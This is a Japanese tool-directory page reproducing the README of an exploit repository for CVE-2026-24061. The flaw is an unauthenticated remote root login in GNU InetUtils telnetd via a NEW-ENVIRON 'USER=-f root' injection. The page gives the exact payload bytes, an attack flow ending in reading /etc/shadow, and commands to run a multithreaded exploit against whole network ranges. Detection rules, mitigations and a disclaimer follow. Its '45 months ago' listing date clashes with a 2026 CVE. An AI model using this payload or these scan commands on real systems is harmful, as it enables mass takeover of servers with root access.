Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-24061 — GNU InetUtils telnetd - NEW-ENVIRON変数インジェクションによる未認証リモートルート権限取得。 | Kitploit
ツール/GitHubGitHub/franckferman/cve-2026-24061
脆弱性スキャナーエクスプロイトネットワークセキュリティペネトレーションテスト脅威インテリジェンス認証学習と教育レッドチーミング
GitHubfranckferman/cve-2026-24061

CVE-2026-24061

GNU InetUtils telnetd - NEW-ENVIRON変数インジェクションによる未認証リモートルート権限取得。

リポジトリを見る
45ヶ月前未レビュー
ウェブサイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE Score License Python No deps

GNU InetUtils telnetd - 認証不要のリモートルート権限取得(NEW-ENVIRON 変数インジェクション)

概要 - 技術分析 - 影響を受けるバージョン - 使用方法 - 対策と緩和策 - 参考情報


脆弱性の概要

CVE-2026-24061 は、GNU InetUtils の一部として配布されている telnetd デーモンにおける重大な認証バイパス脆弱性です。この欠陥は、初期プロトコルハンドシェイク中の Telnet NEW-ENVIRON オプション(RFC 1572)の処理に存在します。

根本原因は、クライアントから提供された環境変数を login(1) プログラムに渡す前にサニタイズしないことです。Telnet デーモンが、値 -f root を持つ変数 を含む サブネゴシエーションパケットを受信すると、このサニタイズされていない値をシステムの バイナリに直接渡します。

USER
NEW-ENVIRON IS
login

login が -f フラグ(パスワード検証なしの強制ログイン)を受け入れるシステムでは、リモート攻撃者に認証不要の root セッションが付与される結果となります。

この脆弱性クラスには歴史的な前例があります。SysV telnetd の CVE-2001-0797 や、1994 年の有名な Linux telnetd -f バイパスは、特権バイナリに渡される環境由来の引数をサニタイズしないという同じ根本的な欠陥を悪用したものです。

認証情報は不要です。事前アクセスも不要です。単一のネットワークパケットシーケンスで root 権限を取得できます。

技術分析

根本原因

GNU InetUtils telnetd は、NEW-ENVIRON(RFC 1572 に基づくオプションコード 0x27)サブネゴシエーションを処理して、クライアントから提供された環境変数を収集します。これらの変数は引数ベクターに組み立てられ、login(1) を起動する際に execve(2) に渡されます。

この脆弱性は次のようにトリガーされます:

  1. サーバーは IAC DO NEW-ENVIRON を送信し、クライアントに環境変数を要求します。
  2. 悪意のあるクライアントは IAC WILL NEW-ENVIRON で応答します。
  3. サーバーは IAC SB NEW-ENVIRON SEND IAC SE を続けて送信します。
  4. クライアントは注入ペイロードを送信します:
root@kitploit:~
IAC SB NEW-ENVIRON IS
  VAR "USER" VALUE "-f root"
IAC SE
  1. telnetd は login -f root として login 呼び出しを構築します。
  2. login(1) は -f を「強制ログイン、認証スキップ」として解釈し、指定されたユーザー(root)をパスワードなしでログインさせます。

プロトコルレベルの詳細

ステップ方向Telnet バイト(16進)意味
1S -> CFF FD 27IAC DO NEW-ENVIRON
2C -> SFF FB 27IAC WILL NEW-ENVIRON
3S -> CFF FA 27 01 FF F0IAC SB NEW-ENVIRON SEND IAC SE
4C -> SFF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE

-f root が機能する理由

多くの Linux システムの login(1) バイナリは、「事前認証済み」ログイン用の -f <user> フラグを受け入れます。これは歴史的にターミナルマルチプレクサや rlogin で使用されてきました。telnetd が exec 呼び出しを構築する際に、先頭のハイフンを除去したり、環境変数値のオプション風文字列を検証したりしないため、攻撃者が制御するフラグが意図せず login に直接渡されます。

実質的な呼び出しは次のようになります:

root@kitploit:~
execve("/bin/login", ["login", "-f", "root"], envp);

攻撃シナリオ

root@kitploit:~
攻撃者                                    脆弱な telnetd(ポート 23)
   |                                                   |
   |------- TCP SYN (port 23) ----------------------->|
   |<------ TCP SYN-ACK -------------------------------|
   |------- TCP ACK ---------------------------------->|
   |                                                   |
   |<------ Telnet バナー + IAC DO NEW-ENVIRON --------|
   |------- IAC WILL NEW-ENVIRON --------------------->|
   |<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
   |                                                   |
   |------- IAC SB NEW-ENVIRON IS                      |
   |        VAR "USER" VALUE "-f root" IAC SE -------->|
   |                                                   |
   |        [telnetd が呼び出し: login -f root]        |
   |                                                   |
   |<------ root シェルプロンプト (#) -----------------|
   |                                                   |
   |------- id; whoami; cat /etc/shadow -------------->|
   |<------ uid=0(root) root /etc/shadow の内容 -------|

前提条件:

  • GNU InetUtils telnetd(TCP/23 オープン)を実行しているターゲットシステム
  • パッチ未適用の inetutils バージョン
  • login(1) バイナリが -f フラグをサポートしている(ほとんどの Linux ディストリビューションで標準)
  • TCP/23 をブロックするファイアウォールがないこと

影響を受けるバージョン

ソフトウェア影響を受けるバージョンステータス
GNU InetUtils telnetd<= 2.x(具体的なパッチ適用バージョンは未定)脆弱
パッチ未適用の GNU inetutils を同梱するディストリビューション各種ベンダー勧告を確認

お使いのディストリビューションがパッチ適用済みバージョンを提供しているか確認してください。多くの最新システムでは Telnet はデフォルトで無効化されています。曝露には明示的に実行中の telnetd が必要です。

CVSS スコア

メトリクス値
CVSS v3.1 ベーススコア9.8(Critical)
攻撃元区分(Attack Vector)ネットワーク(Network)
攻撃条件の複雑さ(Attack Complexity)低(Low)
必要な特権レベル(Privileges Required)なし(None)
利用者の関与(User Interaction)なし(None)
スコープ(Scope)変更なし(Unchanged)
機密性への影響(Confidentiality Impact)高(High)
完全性への影響(Integrity Impact)高(High)
可用性への影響(Availability Impact)高(High)
ベクター文字列CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

MITRE ATT&CK マッピング

ATT&CK ID戦術手法関連性
T1190初期アクセス公開アプリケーションの悪用ネットワーク経由での telnetd の直接悪用
T1059実行コマンドおよびスクリプティングインタープリター悪用後のシェル実行
T1078.004特権昇格 / 防御回避有効なアカウント:ローカルアカウント認証バイパスにより有効な root セッションが得られる
T1548特権昇格昇格制御メカニズムの悪用PAM/認証をバイパスするために login -f フラグが悪用される
T1046探索ネットワークサービスの探索PoC のマススキャンコンポーネント

インストール

要件: Python 3(標準ライブラリのみ、外部依存関係ゼロ)。

root@kitploit:~
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061

pip install は不要です。両スクリプトは Python 標準ライブラリのみを使用します。

プロジェクト構成

root@kitploit:~
poc_cve_2026_24061.py       # シンプルな PoC(約100行)- 脆弱性の理解用
cve_2026_24061.py           # 実戦向けエクスプロイト - マルチスレッド、CIDR、CSV/JSON エクスポート
scripts/
  generate_signatures.py    # ペイロードから Snort/Suricata + Sigma ルールを自動生成
  generate_misp_event.py    # MISP インポート可能なイベント JSON を生成
  generate_stix_bundle.py   # STIX 2.1 バンドルを生成(MISP、OpenCTI、TAXII)
signatures/
  snort.rules               # Snort/Suricata 検知ルール(自動生成)
  sigma.yml                 # SIEM 用 Sigma ルール(自動生成)
indicators/
  misp_event.json           # MISP イベント - イベント > イベント追加 > インポート で取り込み
  stix_bundle.json          # STIX 2.1 バンドル - 11 オブジェクト(vuln、indicator、ATT&CK、CoA)
  • poc_cve_2026_24061.py:最小限で読みやすく、教育的。単一ターゲット、単一機能、抽象化ゼロ。プロトコルレベルで脆弱性がどのように機能するかを正確に理解するためにこれを読んでください。
  • cve_2026_24061.py:ペネトレーションテスト業務向けの実戦用エクスプロイト。マルチスレッド、CIDR レンジ対応、ファイル入力、CSV/JSON エクスポート、クワイエットモード、カスタムユーザー対応。

使用方法

シンプルな PoC(poc_cve_2026_24061.py)

単一ホストを悪用します。コードは意図的に最小限に保たれており、最初から最後まで読んで攻撃チェーン全体を理解できます。

root@kitploit:~
# 基本的な使用方法
python3 poc_cve_2026_24061.py 192.168.1.100

# カスタムポート
python3 poc_cve_2026_24061.py 10.0.0.5 2323

実戦用エクスプロイト(cve_2026_24061.py)

単一ホスト

root@kitploit:~
python3 cve_2026_24061.py -t 192.168.1.100

CIDR レンジ(マススキャン)

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 -T 50

ファイル入力

root@kitploit:~
python3 cve_2026_24061.py -f targets.txt -o results.csv

JSON エクスポート

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 --json results.json

カスタムターゲットユーザー

root@kitploit:~
python3 cve_2026_24061.py -t 192.168.1.1 --user admin

クワイエットモード(パイプ連携向け)

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 -q | tee vulnerable.txt

全オプション

パラメータデフォルト説明
-t / --target-単一 IP、ホスト名、または CIDR レンジ
-f / --file-IP/CIDR を含むファイル(1行に1つ、# はコメント)
-T / --threads10同時実行スレッド数
-p / --port23ターゲットの Telnet ポート
--timeout5ソケットタイムアウト(秒)
--userroot-f ペイロード用のユーザー名
-o / --output-結果を CSV ファイルにエクスポート
--json-結果を JSON ファイルにエクスポート
-q / --quietoffクワイエットモード:脆弱なターゲットのみ出力(1行に1つ)
--no-coloroffANSI カラー出力を無効化

出力ステータス

ステータス意味
[VULN]ホストが脆弱であることを確認 - root シェル取得
[SAFE]ホストは応答したが認証はバイパスされなかった
[CLOS]ポートが閉じているか接続が拒否された
[ERR ]スキャン中にソケットまたはプロトコルエラー

CSV 出力列:ip:port, status, message

PoC の動作

このスクリプトは、外部の Telnet ライブラリに依存せず、完全な Telnet NEW-ENVIRON ネゴシエーションステートマシンを Python でネイティブに実装しています:

  1. ターゲットのポート 23(設定可能)への生の TCP ソケットを開きます。
  2. 受信した IAC コマンドシーケンスを読み取り、DO NEW-ENVIRON に WILL NEW-ENVIRON で応答します。
  3. サーバーの SB NEW-ENVIRON SEND サブネゴシエーションを受信すると、注入ペイロード(USER = "-f root")を送信します。
  4. 応答バッファを監視し、root ログイン成功の指標(uid=0(root) の存在またはシェルプロンプト(#))を確認します。Login incorrect や Password: が存在しないことを確認します。
  5. ペイロードが注入された場合、id\n を送信し、応答内の uid=0(root) を二次確認としてチェックします。

結果は色分けされたステータスラベル付きで stdout に記録されます。オプションの CSV エクスポートにより、後処理用にすべての検出結果が記録されます。

対策と緩和策

即時対応

  1. Telnet を完全に無効化します。 Telnet はすべてのデータを平文で送信します。SSH に置き換えてください。

    root@kitploit:~
    sudo systemctl disable telnet.socket --now
    sudo systemctl disable inetd --now
    
  2. ベンダーパッチを適用します。 利用可能になり次第、ディストリビューションからパッチ適用済みの inetutils バージョンをインストールします。

  3. 境界で TCP/23 をブロックします。 受信 Telnet 接続を拒否するファイアウォールルールを適用します。

    root@kitploit:~
    # iptables
    sudo iptables -A INPUT -p tcp --dport 23 -j DROP
    # nftables
    sudo nft add rule inet filter input tcp dport 23 drop
    

多層防御

対策説明
ネットワークセグメンテーションTelnet を無効化できない場合は、分離された管理ネットワークに制限
PAM の強化PAM 設定を確認し、login.defs で不要な場合は -f 事前認証を無効化
IDS/IPS シグネチャTelnet トラフィック内の NEW-ENVIRON IS VAR USER VALUE -f パターンを検知
監査ログauth.log / secure を監視し、login 経由の予期しない root ログインを検出
脆弱性スキャン認証付きスキャン(OpenVAS、Nessus)を実行し、パッチ未適用の inetutils を特定

検知(SIEM/IDS)

転送中のエクスプロイトを検知するための Snort/Suricata ルールのスケルトン:

root@kitploit:~
alert tcp any any -> any 23 (
  msg:"CVE-2026-24061 telnetd USER=-f root exploit attempt";
  content:"|FF FA 27 00 00|USER|01|-f root|FF F0|";
  sid:2026240610; rev:1;
)

脅威インテリジェンス

このリポジトリには、SOC/CTI スタックにすぐにインポートできる事前生成済みの脅威インテリジェンス成果物が同梱されています。これらは実際のエクスプロイトペイロードから CI によって自動生成されます。ペイロードが変更されると、成果物も更新されます。

MISP

indicators/misp_event.json を任意の MISP インスタンスに直接インポートします:

root@kitploit:~
イベント > イベント追加 > インポート元... > JSON

このイベントには、CVE ID、CVSS ベクター、Snort シグネチャ、ペイロード 16 進、MITRE ATT&CK タグ(T1190、T1548、T1059)、CPE、外部参照が含まれます。

STIX 2.1

indicators/stix_bundle.json を OpenCTI、TAXII サーバー、または任意の STIX 2.1 コンシューマーにインポートします。

このバンドルには 11 個のオブジェクトが含まれます:脆弱性(Vulnerability)、指標(Indicator、ネットワークパターン)、3 つの攻撃パターン(MITRE)、対策(Course of Action、修復)、アイデンティティ(Identity)、およびそれらをリンクするリレーションシップ。

IDS シグネチャ

signatures/ 内の事前構築済みルール:

  • snort.rules - 3 つの Snort/Suricata ルール(エクスプロイト試行、一般的な -f インジェクション、悪用後の root シェル)
  • sigma.yml - SIEM 相関用の Sigma ルール

再生成

エクスプロイトペイロードを変更した場合は、すべての成果物を再生成します:

root@kitploit:~
python3 scripts/generate_signatures.py
python3 scripts/generate_misp_event.py
python3 scripts/generate_stix_bundle.py

参考情報:MISP - OpenCTI - STIX 2.1 - Sigma

参考情報

  • GNU InetUtils 公式リポジトリ
  • RFC 1572 - Telnet 環境オプション(NEW-ENVIRON)
  • RFC 854 - Telnet プロトコル仕様
  • CVE-2001-0797 - 歴史的な SysV telnetd -f バイパス(前例)
  • MITRE ATT&CK - T1190: 公開アプリケーションの悪用
  • MITRE ATT&CK - T1548: 昇格制御メカニズムの悪用
  • MISP プロジェクト
  • Linux login(1) マニュアルページ

法的免責事項

このツールは許可されたセキュリティ監査、学術研究、教育目的のみで提供されています。システム所有者からの明示的な書面による許可なしにシステムに対して使用することは、該当するコンピュータ詐欺および悪用に関する法律(CFAA、Computer Misuse Act、および同等の法律を含むがこれらに限定されない)に基づき違法です。著者は、許可のない使用または悪意のある使用について一切の責任を負いません。

ツールをダウンロード